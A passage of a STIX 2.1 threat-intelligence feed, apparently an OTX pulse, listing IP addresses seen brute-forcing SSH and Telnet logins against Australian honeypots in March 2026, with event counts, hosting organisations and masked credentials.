      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--bfb5b578-2897-4f99-ab5d-98a1c950e692",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--56ba2537-b343-4749-a92f-08122376d80b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--f4200223-10ee-43ab-a719-9e03011a712f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !********t, 1***@, 1**********4.",
      "id": "indicator--f1b8c2ad-b84c-487e-9bfe-1642e2bdc100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.191.96.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**4, 1****2, 1******x, 3***********4, 3**********4.",
      "id": "indicator--cc5be50e-26f4-483e-bb50-32f2ebc6d405",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.205.57.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ebf8b1d2-4340-47ad-8687-a8be638e9ee5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.11.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--8a3d2358-db24-4ab2-9517-6b8129c813fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.42.246.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r. Passwords observed (masked): 1****6, P******d, a***n, a******3, a*******6.",
      "id": "indicator--73ece4a2-5d9b-45e1-a985-97fb7bb16d6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.125.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0b97d61c-7a6e-4729-a86d-7780a345ce5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 212238. Organisation(s): Datacamp Limited. Passwords observed (masked): 1****1, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--d9f5be8a-9320-4c92-9c38-f7cb16222d21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--6b53eda9-09c4-471b-ae16-b42568f6c863",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.220.192.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u. Passwords observed (masked): ***, 1**4, ***, u****u.",
      "id": "indicator--12f1befe-3f09-490e-88f4-26fc8a5eef4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): a***n. Passwords observed (masked): p*****e.",
      "id": "indicator--cb7a0110-f05b-4f93-a11b-2785bdf6ebbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T03:15:13.000Z",
      "valid_until": "2026-04-02T03:15:11.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******!, 1**3, 2*******m, 3***********4, 3**********4.",
      "id": "indicator--0791c9d7-3db1-45c4-a429-d6fcc00d4fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.186.0.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******!, 1**3, 2*******m, 3***********4, 3**********4.",
      "id": "indicator--bb939de9-ed8c-4681-822d-e20915ff655b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.221.175.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--685a6d6b-6a75-46d6-813f-b9e16c5a339d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.165.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, P******d.",
      "id": "indicator--d3ca0ca3-fa27-43e6-956b-43aa444f965d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.84.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******r, 1******A, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--907ecdf5-ee3c-4d1a-b09b-6052cbc5e335",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.237.122.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****e, 1*******y, 5***1, 6****1, q****y.",
      "id": "indicator--1875a8a0-3af1-4b13-992a-d7c7335c974a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.166.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 84. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1*******9, p******d, 1****1, 1****3.",
      "id": "indicator--c7432e86-a747-480d-bab3-6d13430ed6f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.79.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d6008294-58f8-46ac-b476-9b00fa624aed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.13.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******z, 3***********4, 3**********4, A******6, A*********..",
      "id": "indicator--a423add1-16ae-41c7-8c16-b118d7690f55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.42.203.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KG. ASN(s): 197119. Organisation(s): Kyrgyz research and education network association. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******w, 1*****************1, 1**********$, 1**********3, 3***********4.",
      "id": "indicator--acc7212b-715d-42cd-b8b6-b8f59c7207f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.217.173.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 61. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******#, A********!, B***2.",
      "id": "indicator--6f955d06-5ce0-4e7c-bac4-9937de1d451d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.108.65.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d6d09943-961e-4c6a-86d6-6e9698d988d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--655094d5-a6e7-436a-98f7-5a49baacbfe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11426. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******r, 3***********4, 3**********4.",
      "id": "indicator--998d06eb-b816-4764-ad83-a4366555d2f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '98.26.115.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T04:15:11.000Z",
      "valid_until": "2026-04-02T04:15:09.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******5, C**********6, Q***********3.",
      "id": "indicator--42ffe105-2e38-46fc-aaef-13cba678eb57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.113.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @*****e, V******6.",
      "id": "indicator--3175a545-b3c1-4cf9-90d1-facf6217b2b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, T*******4, T*******@.",
      "id": "indicator--79087f14-2a17-40fd-9852-21515c5f4c87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.217.144.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 151518. Organisation(s): SMK Negeri 22 Jakarta. Usernames observed (masked): r**t. Passwords observed (masked): T*******@, a*******3, r******a.",
      "id": "indicator--5925ceba-0c95-4fde-aed5-c9ab48dcea87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.236.140.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): l***y.",
      "id": "indicator--9d526392-6fee-4890-a1e0-0a725e3a345f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.175.228.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****e, 1******5, 3***********4, 3**********4, A******9.",
      "id": "indicator--c4e7d3b7-58e7-4481-be02-e92406ad2814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.193.190.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
      "created": "2026-03-01T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 0****3, 1*********A, 3**********4, r******f.",
      "id": "indicator--fb17cc5d-a8cc-4eb3-a282-8b5508d5cdcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.2.109.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T05:15:13.000Z",
      "valid_until": "2026-04-02T05:15:11.000Z"
    },
    {
